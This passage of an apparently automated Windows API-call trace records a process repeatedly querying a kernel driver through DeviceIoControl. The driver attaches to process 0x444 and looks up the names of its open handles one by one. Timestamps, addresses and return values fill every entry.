ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.536] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.537] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.537] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.537] PsAcquireProcessExitSynchronization () returned 0x0 [0113.537] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.537] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0113.537] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.537] PsReleaseProcessExitSynchronization () returned 0x2 [0113.537] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.537] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.537] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0113.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.537] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.537] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.537] PsAcquireProcessExitSynchronization () returned 0x0 [0113.537] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.537] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0113.537] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.537] PsReleaseProcessExitSynchronization () returned 0x2 [0113.537] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.537] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.537] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0113.537] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.537] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.538] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.538] PsAcquireProcessExitSynchronization () returned 0x0 [0113.538] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.538] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.538] PsReleaseProcessExitSynchronization () returned 0x2 [0113.538] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.538] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.538] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.538] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.538] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.538] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.538] PsAcquireProcessExitSynchronization () returned 0x0 [0113.538] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.538] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.538] PsReleaseProcessExitSynchronization () returned 0x2 [0113.538] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.538] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.538] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.538] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.538] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.538] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.538] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.538] PsAcquireProcessExitSynchronization () returned 0x0 [0113.538] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.538] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0113.538] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.539] PsReleaseProcessExitSynchronization () returned 0x2 [0113.539] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.539] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.539] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0113.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.539] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.539] PsAcquireProcessExitSynchronization () returned 0x0 [0113.539] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.539] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0113.539] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.539] PsReleaseProcessExitSynchronization () returned 0x2 [0113.539] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.539] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.539] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0113.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.539] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.539] PsAcquireProcessExitSynchronization () returned 0x0 [0113.539] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.539] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0113.539] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.539] PsReleaseProcessExitSynchronization () returned 0x2 [0113.539] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.539] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.539] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0113.539] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.539] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.539] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.540] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.540] PsAcquireProcessExitSynchronization () returned 0x0 [0113.540] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.540] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0113.540] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.540] PsReleaseProcessExitSynchronization () returned 0x2 [0113.540] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.540] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.540] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0113.540] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.540] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.540] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.540] PsAcquireProcessExitSynchronization () returned 0x0 [0113.540] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.540] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0113.540] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.540] PsReleaseProcessExitSynchronization () returned 0x2 [0113.540] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.540] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.540] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0113.540] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.540] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.540] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.540] PsAcquireProcessExitSynchronization () returned 0x0 [0113.540] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.540] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0113.540] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.541] PsReleaseProcessExitSynchronization () returned 0x2 [0113.541] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.541] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.541] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0113.541] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.541] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0113.541] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.541] PsAcquireProcessExitSynchronization () returned 0x0 [0113.541] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.541] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0113.541] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.541] PsReleaseProcessExitSynchronization () returned 0x2 [0113.541] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.541] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.541] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0113.541] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.541] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.541] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.541] PsAcquireProcessExitSynchronization () returned 0x0 [0113.541] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.541] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0113.541] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.541] PsReleaseProcessExitSynchronization () returned 0x2 [0113.541] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.541] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.541] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0113.541] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.541] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.542] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.542] PsAcquireProcessExitSynchronization () returned 0x0 [0113.542] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.542] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0113.542] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.542] PsReleaseProcessExitSynchronization () returned 0x2 [0113.542] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.542] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0113.542] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.542] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.542] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.542] PsAcquireProcessExitSynchronization () returned 0x0 [0113.542] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.542] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0113.542] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.542] PsReleaseProcessExitSynchronization () returned 0x2 [0113.542] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.542] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.542] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0113.542] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.542] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0113.542] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.542] PsAcquireProcessExitSynchronization () returned 0x0 [0113.542] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.542] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0113.542] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.543] PsReleaseProcessExitSynchronization () returned 0x2 [0113.543] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.543] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.543] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0113.543] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.543] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 